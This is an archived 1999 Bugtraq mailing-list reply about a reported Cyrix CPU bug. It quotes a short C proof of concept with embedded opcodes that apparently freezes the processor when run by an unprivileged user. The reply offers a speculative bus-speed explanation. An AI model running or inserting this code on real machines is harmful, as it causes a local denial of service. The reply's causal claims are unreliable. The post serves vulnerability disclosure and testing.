[9387] in bugtraq
Re: Cyrix bug: freeze in hell, badboy
daemon@ATHENA.MIT.EDU (John Byrne)
Fri Feb 5 14:51:13 1999
Date: Fri, 5 Feb 1999 08:07:27 -0600
Reply-To: jkbyrne@athenet.net
From: John Byrne <jkbyrne@ATHENET.NET>
To: BUGTRAQ@NETSPACE.ORG
Ragnar Hojland Espinosa wrote:
> I emailed Cyrix a few months ago, and even managed to get a "oh, we will
> look at it" thanks to Rafael Reilova, but that was it till today. A
> couple of people did report it, effectively, froze (most of) their Cyrix
> CPUs while running the opcodes below as non priviledged user.
>
> While I don't have the enough knowledge to assure this _is_ a CPU bug, it
> certainly looks like one to me (NO_LOCK isn't a workaround, btw).
>
> 0x804a368 <the_data>: cwtl
> 0x804a36a <the_data+2>: orl $0xe6ebe020,%eax
> 0x804a36f <the_data+7>: jle 0x804a368 <the_data>
>
> Here is the code (tested with linux, any version):
>
> /* Please compile without optimizations */
> unsigned char the_data[] = { 62, 152, 13, 32, 224, 235, 230, 126, 247 };
>
> void (*badboy)();
> int main (int argc, char **argv)
> {
> badboy = (void(*)())(the_data);
> asm ("movl badboy,%eax");
> asm ("call *%eax");
>
> return 0;
> }
>
> If you try it, please send me your /proc/{cpuinfo,version} and if it
> freezes or not.
> --
> ____/| Ragnar Hojland (ragnar@lightside.ddns.org) Fingerprint 94C4B
> \ o.O| 2F0D27DE025BE2302C
> =(_)= "Thou shalt not follow the NULL pointer for 104B78C56 B72F0822
> U chaos and madness await thee at its end." hkp://keys.pgp.com
I have done some research into this situation, and I've found that it's mostly
related to the 75Mhz Cyrix Bus. I recommend that if you are running that
speed, you step it down to 66mhz. The 75 mhz bus was built to allow faster
processor speeds with all CPU's, but was never used by Intel or AMD. Because
of this, not much software was tested on 75mhz busses, due to the monopolistic
characteristics of Intel and AMD.
-John Byrne